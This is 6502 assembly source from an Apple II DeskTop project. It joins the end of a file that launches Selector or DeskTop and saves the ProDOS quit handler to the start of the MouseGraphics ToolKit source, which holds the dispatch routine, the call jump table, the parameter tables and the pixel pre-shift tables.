monitor:
jmp MONZ
;;; ============================================================
.proc FinishAndInvoke
jsr HOME
jmp InvokeSelectorOrDesktop
.endproc ; FinishAndInvoke
;;; ============================================================
.endproc ; CopySelectorEntriesToRAMCardImpl
CopySelectorEntriesToRAMCard := CopySelectorEntriesToRAMCardImpl::Start
;;; ============================================================
;;;
;;; Part 3: Invoke Selector or DeskTop
;;;
;;; ============================================================
.proc InvokeSelectorOrDesktopImpl
.assert * >= MODULE_BOOTSTRAP + kModuleBootstrapSize, error, "overlapping addresses"
DEFINE_OPEN_PARAMS open_desktop_params, str_desktop, misc_io_buffer
DEFINE_OPEN_PARAMS open_selector_params, str_selector, misc_io_buffer
DEFINE_READWRITE_PARAMS read_params, MODULE_BOOTSTRAP, kModuleBootstrapSize
str_selector:
PASCAL_STRING kPathnameSelector
str_desktop:
PASCAL_STRING kPathnameDeskTop
start: MLI_CALL CLOSE, close_everything_params
;; Don't try selector if flag is set
ldx #DeskTopSettings::options
jsr ReadSetting
and #DeskTopSettings::kOptionsSkipSelector
IF_ZERO
MLI_CALL OPEN, open_selector_params
bcc selector
END_IF
MLI_CALL OPEN, open_desktop_params
bcc desktop
;; But if DeskTop wasn't present, ignore options and try Selector.
;; This supports a Selector-only install without config, e.g. by admins.
MLI_CALL OPEN, open_selector_params
bcc selector
crash: brk ; just crash
desktop:
lda open_desktop_params::ref_num
jmp read
selector:
lda open_selector_params::ref_num
read: sta read_params::ref_num
MLI_CALL READ, read_params
php
MLI_CALL CLOSE, close_everything_params
plp
;; If the load failed, this would re-enter this code at $2000;
;; better to just crash.
bne crash
jmp MODULE_BOOTSTRAP
.endproc ; InvokeSelectorOrDesktopImpl
InvokeSelectorOrDesktop := InvokeSelectorOrDesktopImpl::start
;;; ============================================================
;;; Loaded at $1000 by DeskTop on Quit, and copies $1100-$13FF
;;; to Language Card Bank 2 $D100-$D3FF, to restore saved quit
;;; (selector/dispatch) handler, then does ProDOS QUIT.
quit_code_addr := $1000
quit_code_save := $1100
str_quit_code: PASCAL_STRING kPathnameQuitSave
PROC_AT quit_restore_proc, ::quit_code_addr
bit LCBANK2
bit LCBANK2
ldx #0
DO
.repeat 3, i
copy8 quit_code_save + ($100 * i),x, SELECTOR + ($100 * i),x
.endrepeat
dex
WHILE_NOT_ZERO
bit ROMIN2
MLI_CALL QUIT, quit_params
DEFINE_QUIT_PARAMS quit_params
PAD_TO ::quit_code_save
END_PROC_AT
.assert .sizeof(quit_restore_proc) = $100, error, "Proc length mismatch"
.proc PreserveQuitCodeImpl
quit_code_io := $800
kQuitCodeSize = $400
DEFINE_CREATE_PARAMS create_params, str_quit_code, ACCESS_DEFAULT, $F1
DEFINE_OPEN_PARAMS open_params, str_quit_code, quit_code_io
DEFINE_READWRITE_PARAMS write_params, quit_code_addr, kQuitCodeSize
DEFINE_CLOSE_PARAMS close_params
start: bit LCBANK2
bit LCBANK2
ldx #0
DO
copy8 quit_restore_proc,x, quit_code_addr,x
.repeat 3, i
copy8 SELECTOR + ($100 * i),x, quit_code_save + ($100 * i),x
.endrepeat
dex
WHILE_NOT_ZERO
bit ROMIN2
;; Create file (if needed)
copy16 DATELO, create_params::create_date
copy16 TIMELO, create_params::create_time
MLI_CALL CREATE, create_params
IF_CS
cmp #ERR_DUPLICATE_FILENAME
bne done
END_IF
;; Populate it
MLI_CALL OPEN, open_params
lda open_params::ref_num
sta write_params::ref_num
sta close_params::ref_num
MLI_CALL WRITE, write_params
MLI_CALL CLOSE, close_params
done: rts
.endproc ; PreserveQuitCodeImpl
PreserveQuitCode := PreserveQuitCodeImpl::start
;;; ============================================================
.proc CheckRAMEmpty
;; See if /RAM exists
ldx DEVCNT
DO
lda DEVLST,x
.ifndef PRODOS_2_5
and #$F3 ; per ProDOS 8 Technical Reference Manual
cmp #$B3 ; 5.2.2.3 - one of $BF, $BB, $B7, $B3
.else
cmp #$B0 ; ProDOS 2.5 uses $B0
.endif ; PRODOS_2_5
beq found
dex
WHILE_POS
rts ; not found
DEFINE_READWRITE_BLOCK_PARAMS read_block_params, block_buffer, kVolumeDirKeyBlock
found:
;; Found it in DEVLST, X = index
copy8 DEVLST,x, read_block_params::unit_num
MLI_CALL READ_BLOCK, read_block_params
bcs ret
;; Look at file count
lda block_buffer + VolumeDirectoryHeader::file_count
ora block_buffer + VolumeDirectoryHeader::file_count+1
beq ret
copy8 #kHtabRamNotEmptyMsg, OURCH
lda #kVtabRamNotEmptyMsg
jsr VTABZ
param_call CoutString, str_ram_not_empty
jsr WaitEnterEscape
cmp #$80|CHAR_ESCAPE
beq quit
jsr HOME
ret: rts
quit: jsr HOME
lda #$95 ; Ctrl-U - disable 80-col firmware
jsr COUT
MLI_CALL QUIT, quit_params
DEFINE_QUIT_PARAMS quit_params
;; TODO: "/RAM" might not be volume name
kHtabRamNotEmptyMsg = (80 - .strlen(res_string_prompt_ram_not_empty)) / 2
kVtabRamNotEmptyMsg = 12
str_ram_not_empty:
PASCAL_STRING res_string_prompt_ram_not_empty
.endproc ; CheckRAMEmpty
;;; ============================================================
.proc CoutStringNewline
jsr CoutString
lda #$80|CHAR_RETURN
jmp COUT
.endproc ; CoutStringNewline
.proc CoutString
ptr := $6
stax ptr
ldy #0
copy8 (ptr),y, len
IF_NOT_ZERO
DO
iny
lda ($06),y
ora #$80
jsr COUT
len := *+1
cpy #SELF_MODIFIED_BYTE
WHILE_NE
END_IF
rts
.endproc ; CoutString
;;; ============================================================
.proc WaitEnterEscape
sta KBDSTRB
DO
DO
lda KBD
WHILE_NC
sta KBDSTRB
BREAK_IF_A_EQ #$80|CHAR_ESCAPE
WHILE_A_NE #$80|CHAR_RETURN
rts
.endproc ; WaitEnterEscape
;;; ============================================================
.include "../lib/smartport.s"
ADJUSTCASE_BLOCK_BUFFER := misc_io_buffer
.include "../lib/adjustfilecase.s"
;;; ============================================================
.assert * <= GenericCopy::copy_buffer, error, "copy_buffer collides with code"
|
a2stuff/a2d
| 270,951
|
src/mgtk/mgtk.s
|
;;; ============================================================
;;; MouseGraphics ToolKit
;;; ============================================================
.scope mgtk
MGTKEntry := *
kScreenWidth = 560
kScreenHeight = 192
;;; ============================================================
;;; ZP Usage
params_addr := $80
;; $8A initialized same way as current port (see $01 IMPL)
;; $A8 - Menu count
;; $A9-$AA - Address of current winfo
;; $AB-... - Copy of first 12 bytes of current winfo
;; $D0-$F3 - Current GrafPort
;; $D0-$DF - portmap
;; $D0-D3 - viewloc (x/y words)
;; $D4-D5 - mapbits - screen address = $2000
;; $D6-D7 - mapwidth - screen stride = $80
;; $D8-DF - maprect (x1/y1/x2/y2)
;; $E0-$E7 - penpattern
;; $E8-$E9 - colormasks (AND, OR)
;; $EA-$ED - penloc (x/y words)
;; $EE-$EF - penwidth/penheight
;; $F0 - penmode
;; $F1 - textback
;; $F2-$F3 - textfont
;; $F4-$F5 - Active port (???)
;; $F6-$FA - fill_eor_mask/x_offset/y_offset
;; $FB-$FC - glyph widths
;; $FD - font type (0=regular, $80=double width)
;; $FE - last glyph index (count is this + 1)
;; $FF - glyph height
current_grafport := $D0
current_portmap := $D0
current_viewloc_x := $D0
current_viewloc_y := $D2
current_mapbits := $D4
current_mapwidth := $D6
current_maprect_x1 := $D8
current_maprect_y1 := $DA
current_maprect_x2 := $DC
current_maprect_y2 := $DE
current_penpattern := $E0
current_colormasks := $E8
current_colormask_and := $E8
current_colormasks_or := $E9
current_penloc := $EA
current_penloc_x := $EA
current_penloc_y := $EC
current_pensize := $EE
current_penwidth := $EE
current_penheight := $EF
current_penmode := $F0
current_textback := $F1
current_textfont := $F2
active_port := $F4 ; address of live port block
fill_eor_mask := $F6
x_offset := $F7
y_offset := $F9
glyph_widths := $FB ; address
glyph_type := $FD ; 0=regular, $80=double width
glyph_last := $FE ; last glyph index
glyph_height_p := $FF ; glyph height
;;; ============================================================
;;; MGTK
.proc Dispatch
lda LOWSCR
sta SET80STORE
bit preserve_zp_flag ; save ZP?
bpl adjust_stack
;; Save $80...$FF, swap in what MGTK needs at $F4...$FF
COPY_BYTES $80, $80, zp_saved
COPY_BYTES $C, active_saved, active_port
jsr ApplyActivePortToPort
adjust_stack: ; Adjust stack to account for params
pla ; and stash address at params_addr.
sta params_addr
clc
adc #<3
tax
pla
sta params_addr+1
adc #>3
pha
txa
pha
tsx
stx stack_ptr_stash
ldy #1 ; Command index
lda (params_addr),y
asl a
tax
copy16 jump_table,x, jump_addr
; not copylohi because parm table
; is cleaner as words not bytes
iny ; Point params_addr at params
lda (params_addr),y
pha
iny
lda (params_addr),y
sta params_addr+1
pla
sta params_addr
;; Param length format is a byte pair;
;; * first byte is ZP address to copy bytes to
;; * second byte's high bit is "hide cursor" flag
;; * rest of second byte is # bytes to copy
ldy param_lengths+1,x ; Check param length...
bpl done_hiding
bit desktop_initialized_flag
bpl done_hiding
txa ; if high bit was set, stash
pha ; registers and params_addr and then
tya ; hide cursor
pha
lda params_addr
pha
lda params_addr+1
pha
jsr HideCursor
pla
sta params_addr+1
pla
sta params_addr
pla
and #$7F ; clear high bit in length count
tay
pla
tax
done_hiding:
lda param_lengths,x ; ZP offset for params
beq jump ; nothing to copy
sta store+1
dey
: lda (params_addr),y
store: sta $FF,y ; self modified
dey
bpl :-
jump_addr := *+1
jump: jsr $FFFF ; the actual call
;; Exposed for routines to call directly
cleanup:
bit desktop_initialized_flag
bpl :+
jsr ShowCursor
: bit preserve_zp_flag
bpl exit_with_0
jsr ApplyPortToActivePort
COPY_BYTES $C, active_port, active_saved
COPY_BYTES $80, zp_saved, $80
;; default is to return with A=0
exit_with_0:
lda #0
rts1: rts
.endproc ; Dispatch
;;; ============================================================
;;; Routines can jmp here to exit with A set
exit_with_a:
pha
jsr Dispatch::cleanup
pla
ldx stack_ptr_stash
txs
ldy #$FF
rts2: rts
;; Macro for exit_with_a
.macro EXIT_CALL arg
lda #arg
jmp exit_with_a
.endmacro
;;; ============================================================
;;; Copy port params (36 bytes) to/from active port addr
.proc ApplyActivePortToPort
ldy #.sizeof(MGTK::GrafPort)-1
: lda (active_port),y
sta current_grafport,y
dey
bpl :-
rts
.endproc ; ApplyActivePortToPort
.proc ApplyPortToActivePort
ldy #.sizeof(MGTK::GrafPort)-1
: lda current_grafport,y
sta (active_port),y
dey
bpl :-
rts
.endproc ; ApplyPortToActivePort
;;; ============================================================
;;; Drawing calls show/hide cursor before/after
;;; A recursion count is kept to allow re-entrancy.
hide_cursor_count:
.byte 0
.proc HideCursor
dec hide_cursor_count
jmp HideCursorImpl
.endproc ; HideCursor
.proc ShowCursor
bit hide_cursor_count
bpl rts2
inc hide_cursor_count
jmp ShowCursorImpl
.endproc ; ShowCursor
;;; ============================================================
;;; Jump table for MGTK entry point calls
;; jt_rts can be used if the only thing the
;; routine needs to do is copy params into
;; the zero page (port)
jt_rts := Dispatch::rts1
jump_table:
.addr jt_rts ; $00 NoOp
;; ----------------------------------------
;; Graphics Primitives
;; Initialization Commands
.addr InitGrafImpl ; $01 InitGraf
.addr SetSwitchesImpl ; $02 SetSwitches
;; GrafPort Commands
.addr InitPortImpl ; $03 InitPort
.addr SetPortImpl ; $04 SetPort
.addr GetPortImpl ; $05 GetPort
.addr SetPortBitsImpl ; $06 SetPortBits
.addr SetPenModeImpl ; $07 SetPenMode
.addr SetPatternImpl ; $08 SetPattern
.addr jt_rts ; $09 SetColorMasks
.addr jt_rts ; $0A SetPenSize
.addr SetFontImpl ; $0B SetFont
.addr jt_rts ; $0C SetTextBG
;; Drawing Commands
.addr MoveImpl ; $0D Move
.addr jt_rts ; $0E MoveTo
.addr LineImpl ; $0F Line
.addr LineToImpl ; $10 LineTo
.addr PaintRectImpl ; $11 PaintRect
.addr FrameRectImpl ; $12 FrameRect
.addr InRectImpl ; $13 InRect
.addr PaintBitsImpl ; $14 PaintBits
.addr PaintPolyImpl ; $15 PaintPoly
.addr FramePolyImpl ; $16 FramePoly
.addr InPolyImpl ; $17 InPoly
;; Text Commands
.addr TextWidthImpl ; $18 TextWidth
.addr DrawTextImpl ; $19 DrawText
;; Utility Commands
.addr SetZP1Impl ; $1A SetZP1
.addr SetZP2Impl ; $1B SetZP2
.addr VersionImpl ; $1C Version
;; ----------------------------------------
;; MouseGraphics ToolKit
;; Initialization Calls
.addr StartDeskTopImpl ; $1D StartDeskTop
.addr StopDeskTopImpl ; $1E StopDeskTop
.addr SetUserHookImpl ; $1F SetUserHook
.addr AttachDriverImpl ; $20 AttachDriver
.addr ScaleMouseImpl ; $21 ScaleMouseImpl
.addr KeyboardMouse ; $22 KeyboardMouse
.addr GetIntHandlerImpl ; $23 GetIntHandler
;; Cursor Manager Calls
.addr SetCursorImpl ; $24 SetCursor
.addr ShowCursorImpl ; $25 ShowCursor
.addr HideCursorImpl ; $26 HideCursor
.addr ObscureCursorImpl ; $27 ObscureCursor
.addr GetCursorAdrImpl ; $28 GetCursorAdr
;; Event Manager Calls
.addr CheckEventsImpl ; $29 CheckEvents
.addr GetEventImpl ; $2A GetEvent
.addr FlushEventsImpl ; $2B FlushEvents
.addr PeekEventImpl ; $2C PeekEvent
.addr PostEventImpl ; $2D PostEvent
.addr SetKeyEventImpl ; $2E SetKeyEvent
;; Menu Manager Calls
.addr InitMenuImpl ; $2F InitMenu
.addr SetMenuImpl ; $30 SetMenu
.addr MenuSelectImpl ; $31 MenuSelect
.addr MenuKeyImpl ; $32 MenuKey
.addr HiliteMenuImpl ; $33 HiliteMenu
.addr DisableMenuImpl ; $34 DisableMenu
.addr DisableItemImpl ; $35 DisableItem
.addr CheckItemImpl ; $36 CheckItem
.addr SetMarkImpl ; $37 SetMark
;; Window Manager Calls
.addr OpenWindowImpl ; $38 OpenWindow
.addr CloseWindowImpl ; $39 CloseWindow
.addr CloseAllImpl ; $3A CloseAll
.addr GetWinPtrImpl ; $3B GetWinPtr
.addr GetWinPortImpl ; $3C GetWinPort
.addr SetWinPortImpl ; $3D SetWinPort
.addr BeginUpdateImpl ; $3E BeginUpdate
.addr EndUpdateImpl ; $3F EndUpdate
.addr FindWindowImpl ; $40 FindWindow
.addr FrontWindowImpl ; $41 FrontWindow
.addr SelectWindowImpl ; $42 SelectWindow
.addr TrackGoAwayImpl ; $43 TrackGoAway
.addr DragWindowImpl ; $44 DragWindow
.addr GrowWindowImpl ; $45 GrowWindow
.addr ScreenToWindowImpl ; $46 ScreenToWindow
.addr WindowToScreenImpl ; $47 WindowToScreenImpl
;; Control Manager Calls
.addr FindControlImpl ; $48 FindControl
.addr SetCtlMaxImpl ; $49 SetCtlMax
.addr TrackThumbImpl ; $4A TrackThumb
.addr UpdateThumbImpl ; $4B UpdateThumb
.addr ActivateCtlImpl ; $4C ActivateCtl
;; ----------------------------------------
;; Extra Calls
.addr BitBltImpl ; $4D BitBlt
.addr GetDeskPatImpl ; $4E GetDeskPat
.addr SetDeskPatImpl ; $4F SetDeskPat
.addr DrawMenuImpl ; $50 DrawMenuBar
.addr GetWinFrameRectImpl ; $51 GetWinFrameRect
.addr RedrawDeskTopImpl ; $52 RedrawDeskTop
.addr FindControlExImpl ; $53 FindControlEx
.addr PaintBitsImpl ; $54 PaintBitsHC
.addr FlashMenuBarImpl ; $55 FlashMenuBar
.addr SaveScreenRectImpl ; $56 SaveScreenRect
.addr RestoreScreenRectImpl ; $57 RestoreScreenRect
.addr InflateRectImpl ; $58 InflateRect
.addr UnionRectsImpl ; $59 UnionRects
.addr MulDivImpl ; $5A MulDiv
.addr ShieldCursorImpl ; $5B ShieldCursor
.addr UnshieldCursorImpl ; $5C UnshieldCursor
;; Entry point param lengths
;; (length, ZP destination, hide cursor flag)
param_lengths:
.macro PARAM_DEFN length, zp, cursor
.byte zp, ((length) | ((cursor) << 7))
.endmacro
;; ----------------------------------------
;; Graphics Primitives
PARAM_DEFN 0, $00, 0 ; $00 NoOp
;; Initialization
PARAM_DEFN 0, $00, 0 ; $01 InitGraf
PARAM_DEFN 1, $82, 0 ; $02 SetSwitches
;; GrafPort
PARAM_DEFN 0, $00, 0 ; $03 InitPort
PARAM_DEFN 36, current_grafport, 0 ; $04 SetPort
PARAM_DEFN 0, $00, 0 ; $05 GetPort
PARAM_DEFN 16, current_portmap, 0 ; $06 SetPortBits
PARAM_DEFN 1, current_penmode, 0 ; $07 SetPenMode
PARAM_DEFN 8, current_penpattern, 0 ; $08 SetPattern
PARAM_DEFN 2, current_colormasks, 0 ; $09 SetColorMasks
PARAM_DEFN 2, current_pensize, 0 ; $0A SetPenSize
PARAM_DEFN 0, $00, 0 ; $0B SetFont
PARAM_DEFN 1, current_textback, 0 ; $0C SetTextBG
;; Drawing
PARAM_DEFN 4, $A1, 0 ; $0D Move
PARAM_DEFN 4, current_penloc, 0 ; $0E MoveTo
PARAM_DEFN 4, $A1, 1 ; $0F Line
PARAM_DEFN 4, $92, 1 ; $10 LineTo
PARAM_DEFN 8, $92, 1 ; $11 PaintRect
PARAM_DEFN 8, $9F, 1 ; $12 FrameRect
PARAM_DEFN 8, $92, 0 ; $13 InRect
PARAM_DEFN 16, $8A, 0 ; $14 PaintBits
PARAM_DEFN 0, $00, 1 ; $15 PaintPoly
PARAM_DEFN 0, $00, 1 ; $16 FramePoly
PARAM_DEFN 0, $00, 0 ; $17 InPoly
;; Text
PARAM_DEFN 3, $A1, 0 ; $18 TextWidth
PARAM_DEFN 3, $A1, 1 ; $19 DrawText
;; Utility
PARAM_DEFN 1, $82, 0 ; $1A SetZP1
PARAM_DEFN 1, $82, 0 ; $1B SetZP2
PARAM_DEFN 0, $00, 0 ; $1C Version
;; ----------------------------------------
;; MouseGraphics ToolKit Calls
;; Initialization
PARAM_DEFN 12, $82, 0 ; $1D StartDeskTop
PARAM_DEFN 0, $00, 0 ; $1E StopDeskTop
PARAM_DEFN 3, $82, 0 ; $1F SetUserHook
PARAM_DEFN 2, $82, 0 ; $20 AttachDriver
PARAM_DEFN 2, $82, 0 ; $21 ScaleMouse
PARAM_DEFN 0, $00, 0 ; $22 KeyboardMouse
PARAM_DEFN 0, $00, 0 ; $23 GetIntHandler
;; Cursor Manager
PARAM_DEFN 0, $00, 0 ; $24 SetCursor
PARAM_DEFN 0, $00, 0 ; $25 ShowCursor
PARAM_DEFN 0, $00, 0 ; $26 HideCursor
PARAM_DEFN 0, $00, 0 ; $27 ObscureCursor
PARAM_DEFN 0, $00, 0 ; $28 GetCursorAdr
;; Event Manager
PARAM_DEFN 0, $00, 0 ; $29 CheckEvents
PARAM_DEFN 0, $00, 0 ; $2A GetEvent
PARAM_DEFN 0, $00, 0 ; $2B FlushEvents
PARAM_DEFN 0, $00, 0 ; $2C PeekEvent
PARAM_DEFN 5, $82, 0 ; $2D PostEvent
PARAM_DEFN 1, $82, 0 ; $2E SetKeyEvent
;; Menu Manager
PARAM_DEFN 4, $82, 0 ; $2F InitMenu
PARAM_DEFN 0, $00, 0 ; $30 SetMenu
PARAM_DEFN 0, $00, 0 ; $31 MenuSelect
PARAM_DEFN 4, $C7, 0 ; $32 MenuKey
PARAM_DEFN 1, $C7, 0 ; $33 HiliteMenu
PARAM_DEFN 2, $C7, 0 ; $34 DisableMenu
PARAM_DEFN 3, $C7, 0 ; $35 DisableItem
PARAM_DEFN 3, $C7, 0 ; $36 CheckItem
PARAM_DEFN 4, $C7, 0 ; $37 SetMark
;; Window Manager
PARAM_DEFN 0, $00, 0 ; $38 OpenWindow
PARAM_DEFN 1, $82, 0 ; $39 CloseWindow
PARAM_DEFN 0, $00, 0 ; $3A CloseAll
PARAM_DEFN 1, $82, 0 ; $3B GetWinPtr
PARAM_DEFN 3, $82, 0 ; $3C GetWinPort
PARAM_DEFN 2, $82, 0 ; $3D SetWinPort
PARAM_DEFN 1, $82, 0 ; $3E BeginUpdate
PARAM_DEFN 1, $82, 0 ; $3F EndUpdate
PARAM_DEFN 4, current_penloc, 0 ; $40 FindWindow
PARAM_DEFN 0, $00, 0 ; $41 FrontWindow
PARAM_DEFN 1, $82, 0 ; $42 SelectWindow
PARAM_DEFN 0, $00, 0 ; $43 TrackGoAway
PARAM_DEFN 5, $82, 0 ; $44 DragWindow
PARAM_DEFN 5, $82, 0 ; $45 GrowWindow
PARAM_DEFN 5, $82, 0 ; $46 ScreenToWindow
PARAM_DEFN 5, $82, 0 ; $47 WindowToScreen
;; Control Manager
PARAM_DEFN 4, current_penloc, 0 ; $48 FindControl
PARAM_DEFN 2, $82, 0 ; $49 SetCtlMax
PARAM_DEFN 5, $82, 0 ; $4A TrackThumb
PARAM_DEFN 2, $8C, 0 ; $4B UpdateThumb
PARAM_DEFN 2, $8C, 0 ; $4C ActivateCtl
;; Extra Calls
PARAM_DEFN 16, $8A, 0 ; $4D BitBlt
PARAM_DEFN 0, $00, 0 ; $4E GetDeskPat
PARAM_DEFN 0, $00, 0 ; $4F SetDeskPat
PARAM_DEFN 0, $00, 0 ; $50 DrawMenuBar
PARAM_DEFN 5, $82, 0 ; $51 GetWinFrameRect
PARAM_DEFN 0, $00, 0 ; $52 RedrawDeskTop
PARAM_DEFN 7, $82, 0 ; $53 FindControlEx
PARAM_DEFN 16, $8A, 1 ; $54 PaintBitsHC
PARAM_DEFN 0, $00, 0 ; $55 FlashMenuBar
PARAM_DEFN 8, $92, 1 ; $56 SaveScreenRect
PARAM_DEFN 8, $92, 1 ; $57 RestoreScreenRect
PARAM_DEFN 6, $82, 0 ; $58 InflateRect
PARAM_DEFN 4, $82, 0 ; $59 UnionRects
PARAM_DEFN 6, $82, 0 ; $5A MulDiv
PARAM_DEFN 16, $8A, 0 ; $5B ShieldCursor
PARAM_DEFN 0, $00, 0 ; $5C UnshieldCursor
;;; ============================================================
;;; Pre-Shift Tables
shift_1_aux:
.byte $00,$02,$04,$06,$08,$0A,$0C,$0E
.byte $10,$12,$14,$16,$18,$1A,$1C,$1E
.byte $20,$22,$24,$26,$28,$2A,$2C,$2E
.byte $30,$32,$34,$36,$38,$3A,$3C,$3E
.byte $40,$42,$44,$46,$48,$4A,$4C,$4E
.byte $50,$52,$54,$56,$58,$5A,$5C,$5E
.byte $60,$62,$64,$66,$68,$6A,$6C,$6E
.byte $70,$72,$74,$76,$78,$7A,$7C,$7E
.byte $00,$02,$04,$06,$08,$0A,$0C,$0E
.byte $10,$12,$14,$16,$18,$1A,$1C,$1E
.byte $20,$22,$24,$26,$28,$2A,$2C,$2E
.byte $30,$32,$34,$36,$38,$3A,$3C,$3E
.byte $40,$42,$44,$46,$48,$4A,$4C,$4E
.byte $50,$52,$54,$56,$58,$5A,$5C,$5E
.byte $60,$62,$64,$66,$68,$6A,$6C,$6E
.byte $70,$72,$74,$76,$78,$7A,$7C,$7E
shift_1_main:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
shift_2_aux:
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $20,$24,$28,$2C,$30,$34,$38,$3C
.byte $40,$44,$48,$4C,$50,$54,$58,$5C
.byte $60,$64,$68,$6C,$70,$74,$78,$7C
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $20,$24,$28,$2C,$30,$34,$38,$3C
.byte $40,$44,$48,$4C,$50,$54,$58,$5C
.byte $60,$64,$68,$6C,$70,$74,$78,$7C
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $20,$24,$28,$2C,$30,$34,$38,$3C
.byte $40,$44,$48,$4C,$50,$54,$58,$5C
.byte $60,$64,$68,$6C,$70,$74,$78,$7C
.byte $00,$04,$08,$0C,$10,$14,$18,$1C
.byte $20,$24,$28,$2C,$30,$34,$38,$3C
.byte $40,$44,$48,$4C,$50,$54,$58,$5C
.byte $60,$64,$68,$6C,$70,$74,$78,$7C
shift_2_main:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $03,$03,$03,$03,$03,$03,$03,$03
.byte $03,$03,$03,$03,$03,$03,$03,$03
.byte $03,$03,$03,$03,$03,$03,$03,$03
.byte $03,$03,$03,$03,$03,$03,$03,$03
shift_3_aux:
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
.byte $00,$08,$10,$18,$20,$28,$30,$38
.byte $40,$48,$50,$58,$60,$68,$70,$78
shift_3_main:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $03,$03,$03,$03,$03,$03,$03,$03
.byte $03,$03,$03,$03,$03,$03,$03,$03
.byte $04,$04,$04,$04,$04,$04,$04,$04
.byte $04,$04,$04,$04,$04,$04,$04,$04
.byte $05,$05,$05,$05,$05,$05,$05,$05
.byte $05,$05,$05,$05,$05,$05,$05,$05
.byte $06,$06,$06,$06,$06,$06,$06,$06
.byte $06,$06,$06,$06,$06,$06,$06,$06
.byte $07,$07,$07,$07,$07,$07,$07,$07
.byte $07,$07,$07,$07,$07,$07,$07,$07
shift_4_aux:
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
.byte $00,$10,$20,$30,$40,$50,$60,$70
shift_4_main:
.byte $00,$00,$00,$00,$00,$00,$00,$00
.byte $01,$01,$01,$01,$01,$01,$01,$01
.byte $02,$02,$02,$02,$02,$02,$02,$02
.byte $03,$03,$03,$03,$03,$03,$03,$03
.byte $04,$04,$04,$04,$04,$04,$04,$04
.byte $05,$05,$05,$05,$05,$05,$05,$05
.byte $06,$06,$06,$06,$06,$06,$06,$06
.byte $07,$07,$07,$07,$07,$07,$07,$07
.byte $08,$08,$08,$08,$08,$08,$08,$08
.byte $09,$09,$09,$09,$09,$09,$09,$09
.byte $0A,$0A,$0A,$0A,$0A,$0A,$0A,$0A
.byte $0B,$0B,$0B,$0B,$0B,$0B,$0B,$0B
.byte $0C,$0C,$0C,$0C,$0C,$0C,$0C,$0C
.byte $0D,$0D,$0D,$0D,$0D,$0D,$0D,$0D
.byte $0E,$0E,$0E,$0E,$0E,$0E,$0E,$0E
.byte $0F,$0F,$0F,$0F,$0F,$0F,$0F,$0F
shift_5_aux:
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
.byte $00,$20,$40,$60,$00,$20,$40,$60
